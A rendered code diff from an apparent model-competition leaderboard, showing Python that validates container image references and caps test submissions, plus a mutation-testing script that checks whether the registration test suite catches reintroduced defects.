tag cannot be freed and re-pushed either. Take either away and this must go
|
| 66 |
+
back to digests only.
|
| 67 |
+
|
| 68 |
+
`digest` is the legacy second field, still accepted so an older client or a
|
| 69 |
+
participant following older instructions is not broken; it may only be given
|
| 70 |
+
when `ref` carries no tag or digest of its own.
|
| 71 |
+
|
| 72 |
+
Pure. The message says what is wrong with the value rather than quoting a
|
| 73 |
+
regex at the participant.
|
| 74 |
+
"""
|
| 75 |
+
ref = (ref or "").strip()
|
| 76 |
+
digest = (digest or "").strip()
|
| 77 |
+
if not ref:
|
| 78 |
+
return False, "Image reference is required."
|
| 79 |
+
|
| 80 |
+
repo, sep, suffix = _split_image_ref(ref)
|
| 81 |
+
|
| 82 |
+
if sep == "@":
|
| 83 |
+
if digest and digest != suffix:
|
| 84 |
+
return False, (
|
| 85 |
+
"Two different digests given: one on the reference and one in the "
|
| 86 |
+
"digest field. Give the reference only."
|
| 87 |
+
)
|
| 88 |
+
pinned, kind = suffix, "digest"
|
| 89 |
+
elif sep == ":":
|
| 90 |
+
if not config.TEST_ACCEPT_IMAGE_TAG:
|
| 91 |
+
return False, (
|
| 92 |
+
f"Give the digest rather than the tag `{suffix}` for now. Paste "
|
| 93 |
+
"the reference as `<your-repo>@sha256:<64 hex>`, exactly as "
|
| 94 |
+
"`docker push` printed it."
|
| 95 |
+
)
|
| 96 |
+
if digest:
|
| 97 |
+
return False, (
|
| 98 |
+
"Give either a tag or a digest, not both. The reference already "
|
| 99 |
+
f"carries the tag `{suffix}`."
|
| 100 |
+
)
|
| 101 |
+
pinned, kind = suffix, "tag"
|
| 102 |
+
else:
|
| 103 |
+
# No tag and no digest on the reference: the digest field must supply it.
|
| 104 |
+
if not digest:
|
| 105 |
+
return False, (
|
| 106 |
+
"Add the tag you pushed, or the digest. "
|
| 107 |
+
"Example: `<your-repo>:v1` or `<your-repo>@sha256:<64 hex>`."
|
| 108 |
+
)
|
| 109 |
+
pinned, kind = digest, "digest"
|
| 110 |
+
|
| 111 |
+
if not _ECR_REF.match(repo):
|
| 112 |
+
return False, (
|
| 113 |
+
f"`{repo}` is not an ECR repository URI. It must look like "
|
| 114 |
+
"`<12-digit-account>.dkr.ecr.<region>.amazonaws.com/<repository>`, all "
|
| 115 |
+
"lower case. Use the URI issued to your team in Step 1."
|
| 116 |
+
)
|
| 117 |
+
if kind == "digest":
|
| 118 |
+
if not _DIGEST.match(pinned):
|
| 119 |
+
return False, (
|
| 120 |
+
f"`{pinned}` is not a sha256 digest. It must read `sha256:` followed "
|
| 121 |
+
"by 64 lower-case hex characters, exactly as `docker push` printed it."
|
| 122 |
+
)
|
| 123 |
+
elif not re.match(config.TAG_RE, pinned):
|
| 124 |
+
return False, (
|
| 125 |
+
f"`{pinned}` is not a usable image tag. Tags are up to 128 characters "
|
| 126 |
+
"of letters, digits, dot, dash and underscore, and cannot start with a "
|
| 127 |
+
"dot or dash."
|
| 128 |
+
)
|
| 129 |
+
return True, ""
|
| 130 |
+
|
| 131 |
+
|
| 132 |
+
def _split_image_ref(ref: str) -> tuple[str, str, str]:
|
| 133 |
+
"""(repository, separator, suffix) for `repo`, `repo:tag` or `repo@digest`.
|
| 134 |
+
|
| 135 |
+
Split on the LAST separator, and only after the last `/`: a registry host
|
| 136 |
+
may carry a port (`host:5000/repo`) and the repository path may not, so
|
| 137 |
+
splitting on the first colon would tear the host apart. Returns an empty
|
| 138 |
+
separator when the reference is a bare repository.
|
| 139 |
+
"""
|
| 140 |
+
if "@" in ref:
|
| 141 |
+
repo, _, suffix = ref.partition("@")
|
| 142 |
+
return repo, "@", suffix
|
| 143 |
+
head, slash, tail = ref.rpartition("/")
|
| 144 |
+
if slash and ":" in tail:
|
| 145 |
+
name, _, tag = tail.partition(":")
|
| 146 |
+
return f"{head}/{name}", ":", tag
|
| 147 |
+
return ref, "", ""
|
| 148 |
+
|
| 149 |
+
|
| 150 |
+
def count_test_submissions(
|
| 151 |
+
api: HfApi, hf_user: str, track: str, division: str
|
| 152 |
+
) -> int:
|
| 153 |
+
"""How many of this team's test-phase slots for this SUB-TRACK are held.
|
| 154 |
+
|
| 155 |
+
A sub-track is (track, division). The cap is per sub-track, matching the
|
| 156 |
+
published rules: a team entering both ConvQA Small and ConvQA Large gets
|
| 157 |
+
three submissions in each, not three across both. Counting on track alone
|
| 158 |
+
silently halves the allowance for any team that enters both divisions.
|
| 159 |
+
|
| 160 |
+
Counts REQUEST records rather than published results, so a submission that is
|
| 161 |
+
still PENDING counts too: a team cannot queue four and have them all run
|
| 162 |
+
because none had finished when the fourth was registered.
|
| 163 |
+
|
| 164 |
+
Which states hold a slot is config.TEST_SLOT_STATUSES, kept identical to the
|
| 165 |
+
worker's count_prior_submissions(). An unreadable request is skipped rather
|
| 166 |
+
than counted, which is the lenient direction, on the grounds that the worker
|
| 167 |
+
enforces the same cap and a board that refuses a legitimate submission over a
|
| 168 |
+
file it could not parse is the worse failure.
|
| 169 |
+
"""
|
| 170 |
+
prefix = f"requests/{config.TEST_PHASE}/{track}/{division}/"
|
| 171 |
+
try:
|
| 172 |
+
files = api.list_repo_files(config.REQUESTS_REPO, repo_type="dataset")
|
| 173 |
+
except Exception:
|
| 174 |
+
# Cannot enumerate: report 0 and let the worker be the gate. Failing open
|
| 175 |
+
# here only risks a fourth request being registered and then refused by
|
| 176 |
+
# the worker; failing closed would block every submission on a transient
|
| 177 |
+
# HF error.
|
| 178 |
+
return 0
|
| 179 |
+
|
| 180 |
+
count = 0
|
| 181 |
+
for f in files:
|
| 182 |
+
if not (f.startswith(prefix) and f.endswith("/request.json")):
|
| 183 |
+
continue
|
| 184 |
+
try:
|
| 185 |
+
local = hf_hub_download(
|
| 186 |
+
config.REQUESTS_REPO, f, repo_type="dataset", token=api.token
|
| 187 |
+
)
|
| 188 |
+
with open(local, encoding="utf-8") as fh:
|
| 189 |
+
obj = json.load(fh)
|
| 190 |
+
except Exception:
|
| 191 |
+
continue
|
| 192 |
+
if obj.get("hf_user") != hf_user:
|
| 193 |
+
continue
|
| 194 |
+
if obj.get("status", "PENDING") in config.TEST_SLOT_STATUSES:
|
| 195 |
+
count += 1
|
| 196 |
+
return count
|
| 197 |
+
|
| 198 |
+
|
| 199 |
+
def validate_only(
|
| 200 |
+
*,
|
| 201 |
+
track: str,
|
| 202 |
+
division: str,
|
| 203 |
+
total_params: int,
|
| 204 |
+
active_params: int,
|
| 205 |
+
image_ref: str,
|
| 206 |
+
image_digest: str,
|
| 207 |
+
) -> tuple[bool, str]:
|
| 208 |
+
"""Every format and eligibility check except the cap and the upload.
|
| 209 |
+
|
| 210 |
+
Shared by the real submit path and the tab's "Validate (no submit)" button so
|
| 211 |
+
the dry run is the same code a real submit runs. Pure: no network.
|
| 212 |
+
"""
|
| 213 |
+
if track not in config.TEST_TRACKS:
|
| 214 |
+
# Not "unknown": proactive is a real track, it just has no test gold
|
| 215 |
+
# staged, so say which tracks the test phase can score rather than
|
| 216 |
+
# implying a typo.
|
| 217 |
+
return False, (
|
| 218 |
+
f"The test phase cannot score '{track}'. Open tracks: "
|
| 219 |
+
+ ", ".join(config.TRACK_LABELS[t] for t in config.TEST_TRACKS)
|
| 220 |
+
+ "."
|
| 221 |
+
)
|
| 222 |
+
if division not in config.DIVISIONS:
|
| 223 |
+
return False, f"Unknown division: {division}"
|
| 224 |
+
|
| 225 |
+
declared_div = config.division_for_params(int(total_params))
|
| 226 |
+
if declared_div is None:
|
| 227 |
+
return False, f"total_params={total_params} must be a positive parameter count."
|
| 228 |
+
if declared_div != division:
|
| 229 |
+
return False, (
|
| 230 |
+
f"total_params={total_params / 1e9:.2f}B falls in '{declared_div}' "
|
| 231 |
+
f"but you selected '{division}'."
|
| 232 |
+
)
|
| 233 |
+
if not (0 < int(active_params) <= int(total_params)):
|
| 234 |
+
return False, "active_params must be > 0 and <= total_params."
|
| 235 |
+
|
| 236 |
+
ok, why = parse_image_ref(image_ref, image_digest)
|
| 237 |
+
if not ok:
|
| 238 |
+
return False, why
|
| 239 |
+
|
| 240 |
+
return True, (
|
| 241 |
+
f"Format valid: {config.TRACK_LABELS[track]} / {division}, image pinned by "
|
| 242 |
+
f"digest. Keep the image under {config.TEST_IMAGE_ADVERTISED_GB} GB "
|
| 243 |
+
f"compressed; contact the organizers first if your model needs more."
|
| 244 |
+
)
|
| 245 |
+
|
| 246 |
+
|
| 247 |
+
def validate_and_submit(
|
| 248 |
+
*,
|
| 249 |
+
hf_user: str,
|
| 250 |
+
track: str,
|
| 251 |
+
division: str,
|
| 252 |
+
team_name: str,
|
| 253 |
+
model_name: str,
|
| 254 |
+
license_str: str,
|
| 255 |
+
open_weight: bool,
|
| 256 |
+
total_params: int,
|
| 257 |
+
active_params: int,
|
| 258 |
+
image_ref: str,
|
| 259 |
+
image_digest: str,
|
| 260 |
+
token: str,
|
| 261 |
+
) -> tuple[bool, str]:
|
| 262 |
+
"""Full test-phase registration path. Returns (ok, message_for_user)."""
|
| 263 |
+
if not config.TEST_PHASE_OPEN:
|
| 264 |
+
return False, "The test phase is not open yet."
|
| 265 |
+
if not team_name.strip():
|
| 266 |
+
return False, "Team name is required."
|
| 267 |
+
if not token:
|
| 268 |
+
return False, "Server is missing its write token; contact the organizers."
|
| 269 |
+
|
| 270 |
+
ok, why = validate_only(
|
| 271 |
+
track=track,
|
| 272 |
+
division=division,
|
| 273 |
+
total_params=int(total_params),
|
| 274 |
+
active_params=int(active_params),
|
| 275 |
+
image_ref=image_ref,
|
| 276 |
+
image_digest=image_digest,
|
| 277 |
+
)
|
| 278 |
+
if not ok:
|
| 279 |
+
return False, why
|
| 280 |
+
|
| 281 |
+
api = HfApi(token=token)
|
| 282 |
+
|
| 283 |
+
held = count_test_submissions(api, hf_user, track, division)
|
| 284 |
+
if held >= config.MAX_TEST_SUBMISSIONS_PER_TRACK:
|
| 285 |
+
return False, (
|
| 286 |
+
f"Submission limit reached: {config.MAX_TEST_SUBMISSIONS_PER_TRACK} per "
|
| 287 |
+
f"team per sub-track for the test phase. {hf_user} already has {held} "
|
| 288 |
+
f"on {config.TRACK_LABELS[track]} / {division} (queued and completed "
|
| 289 |
+
f"submissions both count; ones we refused before running do not)."
|
| 290 |
+
)
|
| 291 |
+
|
| 292 |
+
sid = _new_sid()
|
| 293 |
+
base = f"requests/{config.TEST_PHASE}/{track}/{division}/{sid}"
|
| 294 |
+
# These field names are the contract with the worker's parse_request().
|
| 295 |
+
request = {
|
| 296 |
+
"submission_id": sid,
|
| 297 |
+
"phase": config.TEST_PHASE,
|
| 298 |
+
"track": track,
|
| 299 |
+
"division": division,
|
| 300 |
+
"team_name": team_name.strip(),
|
| 301 |
+
"hf_user": hf_user,
|
| 302 |
+
"model_name": model_name.strip(),
|
| 303 |
+
"license": license_str.strip(),
|
| 304 |
+
"open_weight": bool(open_weight),
|
| 305 |
+
"total_params": int(total_params),
|
| 306 |
+
"active_params": int(active_params),
|
| 307 |
+
# Pinned by digest, never by tag: a tag can be repointed at a different
|
| 308 |
+
# image after we record it, and immutable tags are belt-and-braces on top
|
| 309 |
+
# of this rather than a substitute for it.
|
| 310 |
+
"image": {
|
| 311 |
+
"ref": image_ref.strip(),
|
| 312 |
+
"digest": image_digest.strip(),
|
| 313 |
+
},
|
| 314 |
+
"created_at": _now_iso(),
|
| 315 |
+
"status": "PENDING",
|
| 316 |
+
}
|
| 317 |
+
|
| 318 |
+
try:
|
| 319 |
+
api.upload_file(
|
| 320 |
+
path_or_fileobj=io.BytesIO(json.dumps(request, indent=2).encode()),
|
| 321 |
+
path_in_repo=f"{base}/request.json",
|
| 322 |
+
repo_id=config.REQUESTS_REPO,
|
| 323 |
+
repo_type="dataset",
|
| 324 |
+
commit_message=f"test submit {sid} ({track}/{division}) by {hf_user}",
|
| 325 |
+
)
|
| 326 |
+
except Exception as e:
|
| 327 |
+
# Never surface the raw exception on a public UI; it can carry repo paths.
|
| 328 |
+
print(f"[submit_test] upload failed for {sid}: {e!r}")
|
| 329 |
+
return False, "Upload failed — please retry; contact the organizers if it persists."
|
| 330 |
+
|
| 331 |
+
remaining = config.MAX_TEST_SUBMISSIONS_PER_TRACK - held - 1
|
| 332 |
+
return True, (
|
| 333 |
+
f"✅ Registered as `{sid}` ({config.TRACK_LABELS[track]} / {division}). "
|
| 334 |
+
f"Status PENDING — the organizers will pull your image by digest, run it on "
|
| 335 |
+
f"the held-out test split and publish the score to the leaderboard. "
|
| 336 |
+
f"{remaining} of {config.MAX_TEST_SUBMISSIONS_PER_TRACK} submissions left on "
|
| 337 |
+
f"this sub-track."
|
| 338 |
+
)
|
tests/controls_register_test.py
ADDED
|
@@ -0,0 +1,253 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""Negative controls for tests/test_register_test.py.
|
| 3 |
+
|
| 4 |
+
Each control re-introduces one defect the suite is supposed to catch, runs the
|
| 5 |
+
suite against the mutated source, and records WHICH tests failed and WHY. A
|
| 6 |
+
control that PASSES is the finding: the test it targets is vacuous.
|
| 7 |
+
|
| 8 |
+
Every mutation asserts that the text actually changed and that the result still
|
| 9 |
+
parses, so a refactor cannot silently turn a control into a no-op that reads
|
| 10 |
+
green. The original file is restored from an in-memory copy in a finally block.
|
| 11 |
+
|
| 12 |
+
python3 tests/controls_register_test.py
|
| 13 |
+
"""
|
| 14 |
+
|
| 15 |
+
from __future__ import annotations
|
| 16 |
+
|
| 17 |
+
import ast
|
| 18 |
+
import os
|
| 19 |
+
import re
|
| 20 |
+
import subprocess
|
| 21 |
+
import sys
|
| 22 |
+
|
| 23 |
+
HERE = os.path.dirname(os.path.abspath(__file__))
|
| 24 |
+
REPO = os.path.dirname(HERE)
|
| 25 |
+
TARGET = os.path.join(REPO, "register_test.py")
|
| 26 |
+
SUITE = os.path.join(HERE, "test_register_test.py")
|
| 27 |
+
|
| 28 |
+
|
| 29 |
+
def mutate_disclose_without_recording(src: str) -> str:
|
| 30 |
+
"""Remove the refuse-on-ledger-failure guard: disclose even if unlogged."""
|
| 31 |
+
old = """ except Exception as e:
|
| 32 |
+
# The ledger is how we know a key was handed out."""
|
| 33 |
+
new = """ except Exception as e: # noqa: F841
|
| 34 |
+
pass
|
| 35 |
+
if False:
|
| 36 |
+
# The ledger is how we know a key was handed out."""
|
| 37 |
+
assert old in src
|
| 38 |
+
return src.replace(old, new, 1)
|
| 39 |
+
|
| 40 |
+
|
| 41 |
+
def mutate_drop_the_pairing_check(src: str) -> str:
|
| 42 |
+
"""Admit anyone signed in whose typed team is on the shortlist."""
|
| 43 |
+
old = " if (hf_user, team) not in pairs:"
|
| 44 |
+
new = " if False:"
|
| 45 |
+
assert old in src
|
| 46 |
+
return src.replace(old, new, 1)
|
| 47 |
+
|
| 48 |
+
|
| 49 |
+
def mutate_put_the_secret_in_the_ledger(src: str) -> str:
|
| 50 |
+
"""Write the secret access key into the audit row."""
|
| 51 |
+
old = ' "access_key_id": cred.get("access_key_id"),'
|
| 52 |
+
new = (
|
| 53 |
+
' "access_key_id": cred.get("access_key_id"),\n'
|
| 54 |
+
' "secret_access_key": cred.get("secret_access_key"),'
|
| 55 |
+
)
|
| 56 |
+
assert old in src
|
| 57 |
+
return src.replace(old, new, 1)
|
| 58 |
+
|
| 59 |
+
|
| 60 |
+
def mutate_validate_after_the_network_reads(src: str) -> str:
|
| 61 |
+
"""Move every form-level check below the dataset reads.
|
| 62 |
+
|
| 63 |
+
SLICED between two stable markers rather than matching a hardcoded block.
|
| 64 |
+
Re-anchored twice already (parse_email, then the model-name check), and each
|
| 65 |
+
time the hardcoded version asserted instead of testing anything. The markers
|
| 66 |
+
are the start of the first form check and the `try:` that opens the network
|
| 67 |
+
section; anything added between them travels with the block automatically.
|
| 68 |
+
"""
|
| 69 |
+
head = " roster, why = parse_members(members)"
|
| 70 |
+
tail = " try:\n shortlist = load_shortlist(api)"
|
| 71 |
+
i = src.index(head)
|
| 72 |
+
j = src.index(tail)
|
| 73 |
+
block = src[i:j]
|
| 74 |
+
assert "parse_total_params" in block, "sliced block is not the validation block"
|
| 75 |
+
assert "parse_poc" in block, "sliced block is missing the roster checks"
|
| 76 |
+
out = src[:i] + src[j:]
|
| 77 |
+
anchor = " ok, why = check(hf_user, team_name, track, division, pairs, shortlist)"
|
| 78 |
+
assert anchor in out
|
| 79 |
+
return out.replace(anchor, block + anchor, 1)
|
| 80 |
+
|
| 81 |
+
|
| 82 |
+
def mutate_accept_a_zero_declaration(src: str) -> str:
|
| 83 |
+
"""Let a declared size of zero through into the ledger."""
|
| 84 |
+
old = " if billions <= 0:"
|
| 85 |
+
new = " if billions < 0:"
|
| 86 |
+
assert old in src
|
| 87 |
+
return src.replace(old, new, 1)
|
| 88 |
+
|
| 89 |
+
|
| 90 |
+
def mutate_ignore_the_subtrack_seat(src: str) -> str:
|
| 91 |
+
"""Let any shortlisted team register any sub-track."""
|
| 92 |
+
old = " if sub not in shortlist[team]:"
|
| 93 |
+
new = " if False:"
|
| 94 |
+
assert old in src
|
| 95 |
+
return src.replace(old, new, 1)
|
| 96 |
+
|
| 97 |
+
|
| 98 |
+
def mutate_drop_the_division_consistency_check(src: str) -> str:
|
| 99 |
+
"""Accept a 7B model registered as Small."""
|
| 100 |
+
old = " if actual != division:"
|
| 101 |
+
new = " if False:"
|
| 102 |
+
assert old in src
|
| 103 |
+
return src.replace(old, new, 1)
|
| 104 |
+
|
| 105 |
+
|
| 106 |
+
def mutate_accept_any_email(src: str) -> str:
|
| 107 |
+
"""Stop validating the contact address."""
|
| 108 |
+
old = " if not _EMAIL_RE.match(email):"
|
| 109 |
+
new = " if False:"
|
| 110 |
+
assert old in src
|
| 111 |
+
return src.replace(old, new, 1)
|
| 112 |
+
|
| 113 |
+
|
| 114 |
+
def mutate_drop_the_model_name_requirement(src: str) -> str:
|
| 115 |
+
"""Accept a registration with no model name."""
|
| 116 |
+
old = " if not model:"
|
| 117 |
+
new = " if False:"
|
| 118 |
+
assert old in src
|
| 119 |
+
return src.replace(old, new, 1)
|
| 120 |
+
|
| 121 |
+
|
| 122 |
+
def mutate_never_flag_a_size_discrepancy(src: str) -> str:
|
| 123 |
+
"""Stop comparing the declared size against the validation declaration."""
|
| 124 |
+
old = " if bigger < smaller * factor:"
|
| 125 |
+
new = " if True:"
|
| 126 |
+
assert old in src
|
| 127 |
+
return src.replace(old, new, 1)
|
| 128 |
+
|
| 129 |
+
|
| 130 |
+
def mutate_accept_a_poc_off_the_roster(src: str) -> str:
|
| 131 |
+
"""Let the point of contact be anyone at all."""
|
| 132 |
+
old = " if addr.lower() not in known:"
|
| 133 |
+
new = " if False:"
|
| 134 |
+
assert old in src
|
| 135 |
+
return src.replace(old, new, 1)
|
| 136 |
+
|
| 137 |
+
|
| 138 |
+
def mutate_accept_an_empty_roster(src: str) -> str:
|
| 139 |
+
"""Register a team with no members listed."""
|
| 140 |
+
old = " if not lines:"
|
| 141 |
+
new = " if False and not lines:"
|
| 142 |
+
assert old in src
|
| 143 |
+
return src.replace(old, new, 1)
|
| 144 |
+
|
| 145 |
+
|
| 146 |
+
CONTROLS = [
|
| 147 |
+
("discloses a credential it failed to record", mutate_disclose_without_recording),
|
| 148 |
+
("admits an account that never used that team name", mutate_drop_the_pairing_check),
|
| 149 |
+
("writes the secret access key into the audit ledger", mutate_put_the_secret_in_the_ledger),
|
| 150 |
+
("reads the datasets before validating the form", mutate_validate_after_the_network_reads),
|
| 151 |
+
("accepts a declared size of zero parameters", mutate_accept_a_zero_declaration),
|
| 152 |
+
("lets a team register a sub-track it has no seat in", mutate_ignore_the_subtrack_seat),
|
| 153 |
+
("accepts a model in the wrong division", mutate_drop_the_division_consistency_check),
|
| 154 |
+
("accepts any string as a contact email", mutate_accept_any_email),
|
| 155 |
+
("accepts a registration with no model name", mutate_drop_the_model_name_requirement),
|
| 156 |
+
("never flags a size discrepancy", mutate_never_flag_a_size_discrepancy),
|
| 157 |
+
("accepts a point of contact who is not on the team", mutate_accept_a_poc_off_the_roster),
|
| 158 |
+
("accepts a team with no members listed", mutate_accept_an_empty_roster),
|
| 159 |
+
]
|
| 160 |
+
|
| 161 |
+
_BLOCK = re.compile(r"^(?:FAIL|ERROR): (\S+) \(([^)]+)\)", re.M)
|
| 162 |
+
|
| 163 |
+
|
| 164 |
+
def failures_with_reasons(output: str) -> list[tuple[str, str]]:
|
| 165 |
+
"""(test name, first line of its traceback's reason), scoped per block.
|
| 166 |
+
|
| 167 |
+
Scoped to the FAIL:/ERROR: block it belongs to. Taking the first
|
| 168 |
+
exception-looking line anywhere in stdout picks up a test's own expected
|
| 169 |
+
exception logging and serves it as the reason.
|
| 170 |
+
"""
|
| 171 |
+
out = []
|
| 172 |
+
marks = list(_BLOCK.finditer(output))
|
| 173 |
+
for i, m in enumerate(marks):
|
| 174 |
+
end = marks[i + 1].start() if i + 1 < len(marks) else len(output)
|
| 175 |
+
body = output[m.start():end]
|
| 176 |
+
reason = "(reason not captured)"
|
| 177 |
+
for line in body.splitlines():
|
| 178 |
+
s = line.strip()
|
| 179 |
+
if s.startswith(("AssertionError", "Assertion", "Error", "OSError")) or (
|
| 180 |
+
":" in s and s.split(":")[0].endswith("Error")
|
| 181 |
+
):
|
| 182 |
+
reason = s
|
| 183 |
+
break
|
| 184 |
+
out.append((m.group(1), reason))
|
| 185 |
+
return out
|
| 186 |
+
|
| 187 |
+
|
| 188 |
+
def run_suite() -> tuple[int, str]:
|
| 189 |
+
p = subprocess.run(
|
| 190 |
+
[sys.executable, SUITE],
|
| 191 |
+
capture_output=True,
|
| 192 |
+
text=True,
|
| 193 |
+
cwd=REPO,
|
| 194 |
+
)
|
| 195 |
+
return p.returncode, p.stdout + p.stderr
|
| 196 |
+
|
| 197 |
+
|
| 198 |
+
def main() -> int:
|
| 199 |
+
with open(TARGET, encoding="utf-8") as fh:
|
| 200 |
+
original = fh.read()
|
| 201 |
+
|
| 202 |
+
print(f"target: {TARGET}")
|
| 203 |
+
print(f"suite: {SUITE}")
|
| 204 |
+
print(f"python: {sys.version.split()[0]}\n")
|
| 205 |
+
|
| 206 |
+
rc, out = run_suite()
|
| 207 |
+
baseline = out.strip().splitlines()[-1]
|
| 208 |
+
print(f"BASELINE (unmutated): rc={rc} {baseline}")
|
| 209 |
+
if rc != 0:
|
| 210 |
+
print("baseline is not green; controls cannot be interpreted")
|
| 211 |
+
return 2
|
| 212 |
+
|
| 213 |
+
results = []
|
| 214 |
+
try:
|
| 215 |
+
for name, mutate in CONTROLS:
|
| 216 |
+
mutated = mutate(original)
|
| 217 |
+
assert mutated != original, f"{name}: mutation changed nothing"
|
| 218 |
+
ast.parse(mutated) # a control that does not parse tests nothing
|
| 219 |
+
with open(TARGET, "w", encoding="utf-8") as fh:
|
| 220 |
+
fh.write(mutated)
|
| 221 |
+
rc, out = run_suite()
|
| 222 |
+
reasons = failures_with_reasons(out)
|
| 223 |
+
bit = rc != 0
|
| 224 |
+
results.append((name, bit, out.strip().splitlines()[-1], reasons))
|
| 225 |
+
print(f"\n=== CONTROL: {name}")
|
| 226 |
+
print(f" bites: {'YES' if bit else 'NO <-- FINDING: the test is vacuous'}")
|
| 227 |
+
print(f" {out.strip().splitlines()[-1]}")
|
| 228 |
+
for test, reason in reasons:
|
| 229 |
+
print(f" {test}")
|
| 230 |
+
print(f" {reason}")
|
| 231 |
+
finally:
|
| 232 |
+
with open(TARGET, "w", encoding="utf-8") as fh:
|
| 233 |
+
fh.write(original)
|
| 234 |
+
|
| 235 |
+
rc, out = run_suite()
|
| 236 |
+
print(f"\nRESTORED: rc={rc} {out.strip().splitlines()[-1]}")
|
| 237 |
+
restored_ok = rc == 0
|
| 238 |
+
|
| 239 |
+
real = sum(
|
| 240 |
+
1
|
| 241 |
+
for _, bit, _, reasons in results
|
| 242 |
+
if bit and any(r != "(reason not captured)" for _, r in reasons)
|
| 243 |
+
)
|
| 244 |
+
bitten = sum(1 for _, bit, _, _ in results if bit)
|
| 245 |
+
print(
|
| 246 |
+
f"\nSUMMARY: {bitten} of {len(results)} controls bit; "
|
| 247 |
+
f"{real} of {bitten} carry a real reason; restored green: {restored_ok}"
|
| 248 |
+
)
|
| 249 |
+
return 0 if bitten == len(results) and restored_ok else 1
|
| 250 |
+
|
| 251 |
+
|
| 252 |
+
if __name__ == "__main__":
|
| 253 |
+
sys.exit(main())
|
tests/test_register_test.py
ADDED
|
@@ -0,0 +1,697 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
